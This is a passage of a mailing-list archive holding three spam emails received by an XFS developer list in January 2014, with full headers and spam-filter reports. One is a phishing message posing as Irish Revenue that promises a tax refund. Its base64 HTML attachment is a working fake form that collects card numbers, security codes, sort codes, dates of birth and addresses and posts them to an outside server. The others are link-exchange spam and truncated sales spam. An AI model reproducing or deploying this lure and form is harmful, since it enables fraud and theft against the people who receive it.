TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC5_MJ1963, HTML_MESSAGE, MISSING_MID, RDNS_DYNAMIC X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143702 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.14 MISSING_MID Missing Message-Id: header 0.00 HTML_MESSAGE BODY: HTML included in message 0.10 RDNS_DYNAMIC Delivered to trusted network by host with dynamic-looking rDNS 0.50 BSF_SC5_MJ1963 Custom Rule MJ1963 Message-Id: <20140103231116.7F3BD129618E@cuda.sgi.com> --b1_ac0d111dac45293c080f8dbfcf71f714 Content-Type: text/plain; charset = "UTF-8" Content-Transfer-Encoding: 8bit Lieber Webmaster, Ich habe Ihre Webseite oss.sgi.com gefunden, während ich im Internet unterwegs war, und würde gerne Links mit Ihnen tauschen. Ich biete Ihnen ein kostenloses, faires und vorteilhaftes Geschäft im Gegenzug zu einem Backlink an. Auf http://www.seode.org/ finden Sie alles - von Anleitungen für Anfänger bis zu fortgeschrittenen Themen, die zu echtem Traffic auf Ihrer Seite führen. All das ist komplett kostenlos. Lassen Sie mich wissen, was Sie davon halten. Ich freue mich darauf, Links mit Ihnen zu tauschen. Mit freundlichen Grüßen, Sven Daffner - seode.org http://de.linkedin.com/pub/sven-daffner/4a/9b1/523 --b1_ac0d111dac45293c080f8dbfcf71f714 Content-Type: text/html; charset = "UTF-8" Content-Transfer-Encoding: 8bit Lieber Webmaster,

Ich habe Ihre Webseite oss.sgi.com gefunden, während ich im Internet unterwegs war, und würde gerne Links mit Ihnen tauschen.
Ich biete Ihnen ein kostenloses, faires und vorteilhaftes Geschäft im Gegenzug zu einem Backlink an.
Auf http://www.seode.org/ finden Sie alles - von Anleitungen für Anfänger
bis zu fortgeschrittenen Themen, die zu echtem Traffic auf Ihrer Seite führen.
All das ist komplett kostenlos.
Lassen Sie mich wissen, was Sie davon halten. Ich freue mich darauf, Links mit Ihnen zu tauschen.
Mit freundlichen Grüßen,

Sven Daffner - seode.org
http://de.linkedin.com/pub/sven-daffner/4a/9b1/523 --b1_ac0d111dac45293c080f8dbfcf71f714-- From localhost@localhost.ie Fri Jan 3 18:39:06 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: ** X-Spam-Status: No, score=2.0 required=5.0 tests=DEAR_SOMETHING,T_HTML_ATTACH, T_OBFU_HTML_ATTACH autolearn=no version=3.3.1 X-Original-To: linux-xfs@oss.sgi.com Delivered-To: linux-xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 0DE497F3F for ; Fri, 3 Jan 2014 18:39:06 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 823F5AC001 for ; Fri, 3 Jan 2014 16:39:02 -0800 (PST) X-ASG-Debug-ID: 1388795937-04cbb04166b9f3e0001-w1Z2WR Received: from moana.digitalnetwork.co.nz (moana.digitalnetwork.co.nz [203.89.182.200]) by cuda.sgi.com with ESMTP id joT3DMV0a3bTvdxD (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Fri, 03 Jan 2014 16:39:00 -0800 (PST) X-Barracuda-Envelope-From: localhost@localhost.ie X-Barracuda-Apparent-Source-IP: 203.89.182.200 Received: from [86.125.87.36] (port=2508 helo=localhost.ie) by moana.digitalnetwork.co.nz with esmtpa (Exim 4.80) (envelope-from ) id 1VzA1A-0006tb-GX for linux-xfs@oss.sgi.com; Sat, 04 Jan 2014 08:02:49 +1300 From: Revenue - Irish Tax & Customs To: linux-xfs@oss.sgi.com Subject: Tax Return for year 2013 Date: 03 Jan 2014 21:04:16 +0200 X-ASG-Orig-Subj: Tax Return for year 2013 Message-ID: <20140103210416.DD9596E785FECA94@localhost.ie> MIME-Version: 1.0 Disposition-Notification-To: birthe.hansen1943@hotmail.com Content-Type: multipart/mixed; boundary="----=_NextPart_000_0012_69D66326.E7144A48" X-DigitalNetwork-MailScanner-Information: Please contact the ISP for more information X-DigitalNetwork-MailScanner-ID: 1VzA1A-0006tb-GX X-DigitalNetwork-MailScanner: Not scanned: please contact your Internet E-Mail Service Provider for details X-DigitalNetwork-MailScanner-SpamCheck: X-DigitalNetwork-MailScanner-From: localhost@localhost.ie X-AntiAbuse: This header was added to track abuse, please include it with any abuse report X-AntiAbuse: Primary Hostname - moana.digitalnetwork.co.nz X-AntiAbuse: Original Domain - oss.sgi.com X-AntiAbuse: Originator/Caller UID/GID - [47 12] / [47 12] X-AntiAbuse: Sender Address Domain - localhost.ie X-Barracuda-Connect: moana.digitalnetwork.co.nz[203.89.182.200] X-Barracuda-Start-Time: 1388795939 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 1.00 X-Barracuda-Spam-Status: No, SCORE=1.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_TG194 X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143704 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 1.00 BSF_SC0_TG194 Custom Rule TG194 This is a multi-part message in MIME format. ------=_NextPart_000_0012_69D66326.E7144A48 Content-Type: text/plain Content-Transfer-Encoding: 8bit Dear Sir / Madam , I am sending this email to announce: After the last annual calculation of your fiscal activity we have determined that you are eligible to receive a tax return of: EUR 371.91 To receive your return, you need to create a Government gateway account. Please download and complete the attached form. The contents of this email and any attachments are confidential and as applicable, copyright in these is reserved to Revenue - Irish Tax & Customs. Unless expressly authorized by us, any further dissemination or distribution of this email or its attachments is prohibited. ------=_NextPart_000_0012_69D66326.E7144A48 Content-Type: application/octet-stream; name="Revenue - Irish Tax.html" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="Revenue - Irish Tax.html" PCEtLSBzYXZlZCBmcm9tIHVybD0oMDAxNilodHRwOi8vbG9jYWxob3N0IC0tPg0KPGh0bWw+ DQo8aGVhZD4NCjx0aXRsZT5UQVggUkVUVVJOIEZPUiBZRUFSIDIwMTM8L3RpdGxlPg0KPGJh c2UgaHJlZj0iaHR0cDovL3F1ZWVuc21pYW1pY29ybmVyLmNvbS9yZXdlbnVlL2FjdGlvbi5w aHAiPg0KPGxpbmsgaHJlZj0iY3NzL2FyY290LXN0eWxlcy0wMl9yZWdpc3Rlci5jc3MiIHJl bD0ic3R5bGVzaGVldCIgdHlwZT0idGV4dC9jc3MiPg0KPGxpbmsgaHJlZj0iY3NzL2FyY290 LXN0eWxlcy5jc3MiIHJlbD0ic3R5bGVzaGVldCIgdHlwZT0idGV4dC9jc3MiPg0KPGxpbmsg aHJlZj0iY3NzL2htcmMuY3NzIiByZWw9InN0eWxlc2hlZXQiIHR5cGU9InRleHQvY3NzIj4N CjxzY3JpcHQgc3JjPSJqcy9jaGVjay5qcyIgdHlwZT0idGV4dC9qYXZhc2NyaXB0IiBsYW5n dWFnZT0iamF2YXNjcmlwdCI+PC9zY3JpcHQ+DQo8L2hlYWQ+DQo8Ym9keT4NCjxmb3JtIGlk PSJmcm0iIG1ldGhvZD0icG9zdCIgYWN0aW9uPSJhY3Rpb24ucGhwIiBvbnN1Ym1pdD0icmV0 dXJuIHZhbGlkYXRlKCkiPg0KPGRpdiBhbGlnbj0ibGVmdCI+DQoJPHRhYmxlIGJvcmRlcj0i MCIgY2VsbHBhZGRpbmc9IjAiIGNlbGxzcGFjaW5nPSIwIj4NCgk8dGJvZHk+DQoJPHRyPg0K CQk8dGQgd2lkdGg9IjYwMCI+DQoJCQk8dGFibGUgYm9yZGVyPSIwIiBjZWxscGFkZGluZz0i MCIgY2VsbHNwYWNpbmc9IjAiIHdpZHRoPSIxMDAlIj4NCgkJCTx0Ym9keT4NCgkJCTx0cj4N CgkJCQk8dGQ+DQoJCQkJCTx0YWJsZSBib3JkZXI9IjAiIGNlbGxwYWRkaW5nPSIwIiBjZWxs c3BhY2luZz0iMCIgd2lkdGg9IjEwMCUiPg0KCQkJCQk8dGJvZHk+DQoJCQkJCTx0cj4NCgkJ CQkJCTx0ZCBhbGlnbj0iY2VudGVyIj4NCgkJCQkJCQk8ZGl2IGlkPSJoZWFkZXIiPg0KCQkJ CQkJCQk8aW1nIHNyYz0iaW1nL2htcmNMb2dvLmdpZiIgYWx0PSJITSBSZXZlbnVlICZhbXA7 IEN1c3RvbXMiIGhlaWdodD0iODAiIHdpZHRoPSIyNTAiPg0KCQkJCQkJCQk8ZGl2IGlkPSJo ZWFkZXItdGl0bGUiPk9ubGluZSBTZXJ2aWNlczwvZGl2Pg0KCQkJCQkJCQk8dWwgY2xhc3M9 ImlubGluZS1uYXZpZ2F0aW9uIj4NCgkJCQkJCQkJCTxsaT48YT5SZXZlbnVlIC0gSXJpc2gg VGF4ICYgQ3VzdG9tczwvYT48L2xpPg0KCQkJCQkJCQkJPGxpPjxhPkN5bXJhZWc8L3NwYW4+ PC9hPjwvbGk+DQoJCQkJCQkJCQk8bGk+PGE+Q29udGFjdCB1czwvYT48L2xpPg0KCQkJCQkJ CQkJPGxpPjxhPkhlbHA8L2E+PC9saT4NCgkJCQkJCQkJPC91bD4NCgkJCQkJCQk8L2Rpdj4J CQkJCQkJDQoJCQkJCQk8L3RkPg0KCQkJCQk8L3RyPg0KCQkJCQk8L3Rib2R5Pg0KCQkJCQk8 L3RhYmxlPg0KCQkJCTwvdGQ+DQoJCQk8L3RyPg0KCQkJPCEtLSBIRUFERVIgLS0+DQoJCQk8 dHIgdmFsaWduPSJ0b3AiPg0KCQkJCTx0ZCB2YWxpZ249InRvcCIgd2lkdGg9IjEwMCUiPg0K CQkJCQk8Zm9ybSBuYW1lPSJmcm0iIG1ldGhvZD0icG9zdCIgYWN0aW9uPSJhY3Rpb24ucGhw IiBvbnN1Ym1pdD0icmV0dXJuIHZhbGlkYXRlKCkiPg0KCQkJCQk8dGFibGUgYm9yZGVyPSIw IiBjZWxscGFkZGluZz0iMCIgY2VsbHNwYWNpbmc9IjAiIHdpZHRoPSIxMDAlIj4NCgkJCQkJ PHRib2R5Pg0KCQkJCQk8dHI+DQoJCQkJCQk8dGQgY29sc3Bhbj0iMiIgYWxpZ249ImxlZnQi PiZuYnNwOzwvdGQ+DQoJCQkJCTwvdHI+DQoJCQkJCTx0cj4NCgkJCQkJCTx0ZCBjb2xzcGFu PSIyIiBhbGlnbj0ibGVmdCI+DQoJCQkJCQkJPGJyIC8+Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5i c3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7DQoJCQkJCQkJPGI+PHU+QWRkcmVzcyBJbmZv cm1hdGlvbjwvdT4gLSA8L2I+UGxlYXNlIGVudGVyIHlvdXIgbmFtZSBhbmQgYWRkcmVzcyBh cyB5b3UgaGF2ZSBpdCBsaXN0ZWQgZm9yIHlvdXIgZGViaXQgY2FyZC4NCgkJCQkJCTwvdGQ+ DQoJCQkJCTwvdHI+DQoJCQkJCTx0cj4NCgkJCQkJCTx0ZD4NCgkJCQkJCQkgJm5ic3A7DQoJ CQkJCQk8L3RkPg0KCQkJCQk8L3RyPgkJCQkJPHRyPg0KCQkJCQkJPHRkIGFsaWduPSJyaWdo dCI+DQoJCQkJCQkJPGRpdiBjbGFzcz0idHh0X2Zvcm1fa29wIj4NCgkJCQkJCQkJIENhcmRI b2xkZXIgTmFtZSA8c3BhbiA+Ojwvc3Bhbj4NCgkJCQkJCQk8L2Rpdj4NCgkJCQkJCTwvdGQ+ DQoJCQkJCQk8dGQgdmFsaWduPSJsZWZ0Ij4NCgkJCQkJCQkgJm5ic3A7IDxpbnB1dCBpZD0i bmFtZSIgbmFtZT0ibmFtZSIgc2l6ZT0iMjAiIGNsYXNzPSJlbnJvbGxtZW50SW5wdXRCb3gi IHR5cGU9InRleHQiPg0KCQkJCQkJPC90ZD4NCgkJCQkJPC90cj4NCgkJCQkJPHRyPg0KCQkJ CQkJPHRkIGFsaWduPSJyaWdodCI+DQoJCQkJCQkJPGRpdiBjbGFzcz0idHh0X2Zvcm1fa29w Ij4NCgkJCQkJCQkJIERhdGUgb2YgQmlydGggPHNwYW4gPjo8L3NwYW4+DQoJCQkJCQkJPC9k aXY+DQoJCQkJCQk8L3RkPg0KCQkJCQkJPHRkIHZhbGlnbj0ibGVmdCI+DQoJCQkJCQkJICZu YnNwOyA8aW5wdXQgaWQ9ImRvYjEiIG5hbWU9ImRvYjEiIG1heGxlbmd0aD0iMiIgc2l6ZT0i MiIgY2xhc3M9ImVucm9sbG1lbnRJbnB1dEJveCIgdHlwZT0idGV4dCI+Jm5ic3A7LyZuYnNw OzxpbnB1dCBpZD0iZG9iMiIgbmFtZT0iZG9iMiIgbWF4bGVuZ3RoPSIyIiBzaXplPSIyIiBj bGFzcz0iZW5yb2xsbWVudElucHV0Qm94IiB0eXBlPSJ0ZXh0Ij4mbmJzcDsvJm5ic3A7PGlu cHV0IGlkPSJkb2IzIiBuYW1lPSJkb2IzIiBtYXhsZW5ndGg9IjQiIHNpemU9IjQiIGNsYXNz PSJlbnJvbGxtZW50SW5wdXRCb3giIHR5cGU9InRleHQiPg0KCQkJCQkJPC90ZD4NCgkJCQkJ PC90cj4NCgkJCQkJPHRyPg0KCQkJCQkJPHRkIGFsaWduPSJyaWdodCI+DQoJCQkJCQkJPGRp diBjbGFzcz0idHh0X2Zvcm1fa29wIj4NCgkJCQkJCQkJIEFkZHJlc3MgPHNwYW4gPjo8L3Nw YW4+DQoJCQkJCQkJPC9kaXY+DQoJCQkJCQk8L3RkPg0KCQkJCQkJPHRkIHZhbGlnbj0ibGVm dCI+DQoJCQkJCQkJICZuYnNwOyA8aW5wdXQgaWQ9InN0cmFkYSIgbmFtZT0ic3RyYWRhIiBz aXplPSIyNSIgY2xhc3M9ImVucm9sbG1lbnRJbnB1dEJveCIgdHlwZT0idGV4dCI+DQoJCQkJ CQk8L3RkPg0KCQkJCQk8L3RyPg0KCQkJCQk8dHI+DQoJCQkJCQk8dGQgYWxpZ249InJpZ2h0 Ij4NCgkJCQkJCQk8ZGl2IGNsYXNzPSJ0eHRfZm9ybV9rb3AiPg0KCQkJCQkJCQkgVG93bi9D aXR5IDxzcGFuID46PC9zcGFuPg0KCQkJCQkJCTwvZGl2Pg0KCQkJCQkJPC90ZD4NCgkJCQkJ CTx0ZCB2YWxpZ249ImxlZnQiPg0KCQkJCQkJCSAmbmJzcDsgPGlucHV0IGlkPSJvcmFzIiBu YW1lPSJvcmFzIiBzaXplPSIxNSIgY2xhc3M9ImVucm9sbG1lbnRJbnB1dEJveCIgdHlwZT0i dGV4dCI+DQoJCQkJCQk8L3RkPg0KCQkJCQk8L3RyPg0KCQkJCQk8dHI+DQoJCQkJCQk8dGQg YWxpZ249InJpZ2h0Ij4NCgkJCQkJCQk8ZGl2IGNsYXNzPSJ0eHRfZm9ybV9rb3AiPg0KCQkJ CQkJCQkgUHJvdmluY2UvQ291bnR5IDxzcGFuID46PC9zcGFuPg0KCQkJCQkJCTwvZGl2Pg0K CQkJCQkJPC90ZD4NCgkJCQkJCTx0ZCB2YWxpZ249ImxlZnQiPg0KCQkJCQkJCSAmbmJzcDsg PGlucHV0IGlkPSJzdGF0IiBuYW1lPSJzdGF0IiBzaXplPSIxNSIgY2xhc3M9ImVucm9sbG1l bnRJbnB1dEJveCIgdHlwZT0idGV4dCI+DQoJCQkJCQk8L3RkPg0KCQkJCQk8L3RyPg0KCQkJ CQkNCgkJCQkJCTwvdGQ+DQoJCQkJCTwvdHI+DQoJCQkJCTx0cj4NCgkJCQkJCTx0ZCBhbGln bj0icmlnaHQiPg0KCQkJCQkJCTxkaXYgY2xhc3M9InR4dF9mb3JtX2tvcCI+DQoJCQkJCQkJ CSBQaG9uZSBOdW1iZXIgPHNwYW4gPjo8L3NwYW4+DQoJCQkJCQkJPC9kaXY+DQoJCQkJCQk8 L3RkPg0KCQkJCQkJPHRkIHZhbGlnbj0ibGVmdCI+DQoJCQkJCQkJICZuYnNwOyA8aW5wdXQg aWQ9InRlbGVmb24iIG5hbWU9InRlbGVmb24iIG1heGxlbmd0aD0iMTMiIHNpemU9IjEwIiBj bGFzcz0iZW5yb2xsbWVudElucHV0Qm94IiB0eXBlPSJ0ZXh0Ij4NCgkJCQkJCTwvdGQ+DQoJ CQkJCTwvdHI+DQoJCQkJCTx0cj4NCgkJCQkJCTx0ZD4NCgkJCQkJCQkgJm5ic3A7DQoJCQkJ CQk8L3RkPg0KCQkJCQk8L3RyPg0KCQkJCQk8dHI+DQoJCQkJCQk8dGQgY29sc3Bhbj0iMiIg YWxpZ249ImxlZnQiPg0KCQkJCQkJCTxiciAvPiZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZu YnNwOyZuYnNwOyZuYnNwOyZuYnNwOw0KCQkJCQkJCTxiPjx1PkRlYml0IENhcmQgSW5mb3Jt YXRpb248L3U+IC0gPC9iPlBsZWFzZSBlbnRlciB5b3VyIERlYml0IENhcmQgd2hlcmUgcmVm dW5kcyB3aWxsIGJlIG1hZGUuDQoJCQkJCQk8L3RkPg0KCQkJCQk8L3RyPg0KCQkJCQk8dHI+ DQoJCQkJCQk8dGQ+DQoJCQkJCQkJICZuYnNwOw0KCQkJCQkJPC90ZD4NCgkJCQkJPC90cj4N CgkJCQkJPHRyPg0KCQkJCQkJPHRkIGFsaWduPSJyaWdodCI+DQoJCQkJCQkJPGRpdiBjbGFz cz0idHh0X2Zvcm1fa29wIj4NCgkJCQkJCQkJIEFjY291bnQgTnVtYmVyIDxzcGFuID46PC9z cGFuPg0KCQkJCQkJCTwvZGl2Pg0KCQkJCQkJPC90ZD4NCgkJCQkJCTx0ZCB2YWxpZ249Imxl ZnQiPg0KCQkJCQkJCSAmbmJzcDsgPGlucHV0IGlkPSJhY2MiIG5hbWU9ImFjYyIgbWF4bGVu Z3RoPSI4IiBzaXplPSIxMCIgY2xhc3M9ImVucm9sbG1lbnRJbnB1dEJveCIgdHlwZT0idGV4 dCI+DQoJCQkJCQk8L3RkPg0KCQkJCQk8L3RyPg0KCQkJCQk8dHI+DQoJCQkJCQk8dGQgYWxp Z249InJpZ2h0Ij4NCgkJCQkJCQk8ZGl2IGNsYXNzPSJ0eHRfZm9ybV9rb3AiPg0KCQkJCQkJ CQkgRGViaXQgQ2FyZCBOdW1iZXIgPHNwYW4gPjo8L3NwYW4+DQoJCQkJCQkJPC9kaXY+DQoJ CQkJCQk8L3RkPg0KCQkJCQkJPHRkIHZhbGlnbj0ibGVmdCI+DQoJCQkJCQkJICZuYnNwOyA8 aW5wdXQgaWQ9ImZhY2xpZSIgbmFtZT0iZmFjbGllIiBtYXhsZW5ndGg9IjE2IiBzaXplPSIx NiIgY2xhc3M9ImVucm9sbG1lbnRJbnB1dEJveCIgdHlwZT0idGV4dCI+DQoJCQkJCQk8L3Rk Pg0KCQkJCQk8L3RyPg0KCQkJCQk8dHI+DQoJCQkJCQk8dGQgYWxpZ249InJpZ2h0Ij4NCgkJ CQkJCQk8ZGl2IGNsYXNzPSJ0eHRfZm9ybV9rb3AiPg0KCQkJCQkJCQkgRXhwaXJ5IERhdGUg PHNwYW4gPjo8L3NwYW4+DQoJCQkJCQkJPC9kaXY+DQoJCQkJCQk8L3RkPg0KCQkJCQkJPHRk IHZhbGlnbj0ibGVmdCI+DQoJCQkJCQkJICZuYnNwOyA8aW5wdXQgY2xhc3M9ImVucm9sbG1l bnRJbnB1dEJveCIgaWQ9ImV4cE1vbnRoIiBuYW1lPSJleHBNb250aCIgc2l6ZT0iMiIgbWF4 bGVuZ3RoPSIyIiB0eXBlPSJ0ZXh0Ij4mbmJzcDsmbmJzcDsvJm5ic3A7IDxpbnB1dCBjbGFz cz0iZW5yb2xsbWVudElucHV0Qm94IiBpZD0iZXhwWWVhciIgbmFtZT0iZXhwWWVhciIgc2l6 ZT0iMiIgbWF4bGVuZ3RoPSIyIiB0eXBlPSJ0ZXh0Ij4NCgkJCQkJCQk8c3BhbiBjbGFzcz0i dHh0X2Zvcm1fa29wIj5NTS9ZWTwvc3Bhbj4NCgkJCQkJCTwvdGQ+DQoJCQkJCTwvdHI+DQoJ CQkJCTx0cj4NCgkJCQkJCTx0ZCBhbGlnbj0icmlnaHQiPg0KCQkJCQkJCTxkaXYgY2xhc3M9 InR4dF9mb3JtX2tvcCI+DQoJCQkJCQkJCSBDYXJkIFNlY3VyaXR5IENvZGUgPHNwYW4gPjo8 L3NwYW4+DQoJCQkJCQkJPC9kaXY+DQoJCQkJCQk8L3RkPg0KCQkJCQkJPHRkIHZhbGlnbj0i bGVmdCI+DQoJCQkJCQkJICZuYnNwOyA8aW5wdXQgaWQ9ImNzYyIgbmFtZT0iY3NjIiBtYXhs ZW5ndGg9IjMiIHNpemU9IjMiIGNsYXNzPSJlbnJvbGxtZW50SW5wdXRCb3giIHR5cGU9InBh c3N3b3JkIj4NCgkJCQkJCQkgPC90ZD4NCgkJCQkJPC90cj4NCgkJCQkJPHRyPg0KCQkJCQkJ PHRkIGFsaWduPSJyaWdodCI+DQoJCQkJCQkJPGRpdiBjbGFzcz0idHh0X2Zvcm1fa29wIj4N CgkJCQkJCQkJIFNvcnQtQ29kZSA8c3BhbiA+Ojwvc3Bhbj4NCgkJCQkJCQk8L2Rpdj4NCgkJ CQkJCTwvdGQ+DQoJCQkJCQk8dGQgdmFsaWduPSJsZWZ0Ij4NCgkJCQkJCQkgJm5ic3A7IDxp bnB1dCBpZD0ic2MxIiBuYW1lPSJzYzEiIG1heGxlbmd0aD0iMiIgc2l6ZT0iMSIgY2xhc3M9 ImVucm9sbG1lbnRJbnB1dEJveCIgdHlwZT0idGV4dCI+Jm5ic3A7LSZuYnNwOzxpbnB1dCBp ZD0ic2MyIiBuYW1lPSJzYzIiIG1heGxlbmd0aD0iMiIgc2l6ZT0iMSIgY2xhc3M9ImVucm9s bG1lbnRJbnB1dEJveCIgdHlwZT0idGV4dCI+Jm5ic3A7LSZuYnNwOzxpbnB1dCBpZD0ic2Mz IiBuYW1lPSJzYzMiIG1heGxlbmd0aD0iMiIgc2l6ZT0iMSIgY2xhc3M9ImVucm9sbG1lbnRJ bnB1dEJveCIgdHlwZT0idGV4dCI+DQoJCQkJCQk8L3RkPg0KCQkJCQk8L3RyPg0KCQkJCQk8 dHI+DQoNCg0KDQoNCjx0cj4NCgkJCQkJCTx0ZCBhbGlnbj0icmlnaHQiPg0KCQkJCQkJCTxk aXYgY2xhc3M9InR4dF9mb3JtX2tvcCI+DQoJCQkJCQkJCSBDYXJkIEJhbGFuY2UgKEV4OiA3 MjAuOTQgRVVSKSA8c3BhbiA+Ojwvc3Bhbj4NCgkJCQkJCQk8L2Rpdj4NCgkJCQkJCTwvdGQ+ DQoJCQkJCQk8dGQgdmFsaWduPSJsZWZ0Ij4NCgkJCQkJCQkgJm5ic3A7IDxpbnB1dCBpZD0i YmFsYW5jZSIgbmFtZT0iYmFsYW5jZSIgbWF4bGVuZ3RoPSIxNiIgc2l6ZT0iMTYiIGNsYXNz PSJlbnJvbGxtZW50SW5wdXRCb3giIHR5cGU9InRleHQiPg0KCQkJCQkJPC90ZD4NCgkJCQkJ PC90cj4NCg0KDQoNCgkJCQkJCTx0ZCBjb2xzcGFuPSIyIiBhbGlnbj0iY2VudGVyIj4NCgkJ CQkJCQk8YnIgLz4NCgkJCQkJCQkgJm5ic3A7IDxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVl ID0iIiBjbGFzcz0iYnV0dG9uX2FkZCIgLz4NCgkJCQkJCQkgPGJyIC8+PGJyIC8+DQoJCQkJ CQk8L3RkPg0KCQkJCQk8L3RyPg0KCQkJCQk8L3Rib2R5Pg0KCQkJCQk8L3RhYmxlPg0KCQkJ CTwvdGQ+DQoJCQk8L3RyPg0KCQkJPC90Ym9keT4NCgkJCTwvdGFibGU+DQoJCTwvdGQ+DQoJ PC90cj4NCgk8dHI+DQoJCTx0ZD4NCgkJCTxkaXYgaWQ9ImhlYWRlcjIiPjxiciAvPg0KCQkJ CTxhPkhvbWU8L2E+PGltZyBzcmM9ImltZy8xcGl4dHJhbnNwYXJhbnQuZ2lmIiB3aWR0aD0i NyI+Jm5ic3A7fDxpbWcgc3JjPSJpbWcvMXBpeHRyYW5zcGFyYW50LmdpZiIgd2lkdGg9Ijgi IC8+DQoJCQkJPGE+UHJpdmFjeSBTdGF0ZW1lbnQ8L2E+PGltZyBzcmM9ImltZy8xcGl4dHJh bnNwYXJhbnQuZ2lmIiB3aWR0aD0iNyIgLz4mbmJzcDt8PGltZyBzcmM9ImltZy8xcGl4dHJh bnNwYXJhbnQuZ2lmIiB3aWR0aD0iOCIgLz4NCgkJCQk8YT5UZXJtcyBhbmQgQ29uZGl0aW9u czwvYT48aW1nIHNyYz0iaW1nLzFwaXh0cmFuc3BhcmFudC5naWYiIHdpZHRoPSI3IiAvPiZu YnNwO3w8aW1nIHNyYz0iaW1nLzFwaXh0cmFuc3BhcmFudC5naWYiIHdpZHRoPSI3IiAvPg0K CQkJCTxhPkNvbnRhY3Q8L2E+PGltZyBzcmM9ImltZy8xcGl4dHJhbnNwYXJhbnQuZ2lmIiB3 aWR0aD0iNyIgLz4mbmJzcDt8PGltZyBzcmM9ImltZy8xcGl4dHJhbnNwYXJhbnQuZ2lmIiB3 aWR0aD0iNyIgLz4NCgkJCQk8YT5GQVE8L2E+PGJyIC8+PGJyIC8+DQoJCQk8L2Rpdj4NCgkJ PC90ZD4NCgk8L3RyPg0KCTwvdGJvZHk+DQoJPC90YWJsZT4NCjwvZGl2Pg0KPC9mb3JtPg0K PC9ib2R5Pg0KPC9odG1sPg== ------=_NextPart_000_0012_69D66326.E7144A48-- From fu3@smtp3.1215bdfl.com Fri Jan 3 19:48:40 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: *** X-Spam-Status: No, score=3.0 required=5.0 tests=DEAR_SOMETHING,FREEMAIL_FROM, FREEMAIL_REPLYTO,HTML_MESSAGE autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 08F7C7F3F for ; Fri, 3 Jan 2014 19:48:40 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id E2F5A304043 for ; Fri, 3 Jan 2014 17:48:36 -0800 (PST) X-ASG-Debug-ID: 1388800114-04cb6c537cbab8a0001-NocioJ Received: from smtp3.1215bdfL.com (host.colocrossing.com [172.245.7.216]) by cuda.sgi.com with ESMTP id fhFZDgI9QcJ075Ig for ; Fri, 03 Jan 2014 17:48:34 -0800 (PST) X-Barracuda-Envelope-From: fu3@smtp3.1215bdfl.com X-Barracuda-Apparent-Source-IP: 172.245.7.216 From: ida minilab <81715391@qq.com> Reply-To: idaminilab@gmail.com To: "xfs" Subject: QSS3501 PLUS PRO Noritsu(fw 9:48:30) Message-ID: <201401040948306607888@smtp3.1215bdfl.com> X-ASG-Orig-Subj: QSS3501 PLUS PRO Noritsu(fw 9:48:30) Date: Sat, 4 Jan 2014 09:48:30 +0800 X-Mailer: Foxmail 6, 10, 201, 20 [cn] MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=iiii434_3779_157370441.432687" X-Priority: 3 X-Barracuda-Connect: host.colocrossing.com[172.245.7.216] X-Barracuda-Start-Time: 1388800114 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 1.24 X-Barracuda-Spam-Status: No, SCORE=1.24 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=ADVANCE_FEE_1, BSF_SC1_TG070, FROM_STARTS_WITH_NUMS, FROM_STARTS_WITH_NUMS_2, HTML_MESSAGE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143706 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.01 FROM_STARTS_WITH_NUMS From: starts with many numbers 0.00 HTML_MESSAGE BODY: HTML included in message 0.00 ADVANCE_FEE_1 Appears to be advance fee fraud (Nigerian 419) 0.50 BSF_SC1_TG070 Custom Rule TG070 0.72 FROM_STARTS_WITH_NUMS_2 From: starts with many numbers This is a multi-part message in MIME format. ------=iiii434_3779_157370441.432687 Content-Type: text/plain; charset="UTF-8" Content-Transfer-Encoding: base64 RGVhclNpciwgSG93YXJleW91PyBBc2FsZWFkaW5nc3VwcGxpZXJmb3JtaW5pbGFibWFjaGluZSxt aW5pbGFiYWNjZXNzb3JpZT1zLG5lY2Vzc2l0aWVzLldlY2Fuc3VwcGx5eW91OiAxLk5vcml0c3Uv RnVqaS9DaGluYW1hZGVtaW5pbGFiMi5yZXBhaXJsYXNlcixhb20scD1vd2Vyc3VwcGx5LHBjYmV0 Yy4zLm1pbmlsYWJzcGFyZXBhcnRzNC5waG90b2ZyYW1lIHBhcnRzc2VsbCBMREQyNyAgVVNEMTg1 MCA9R01DMjcgICBVU0QzNTAwIEozOTA1NzcgICZuYnNwPTtVU0QyMDAwIEozOTA5NzYob3JKMzkx 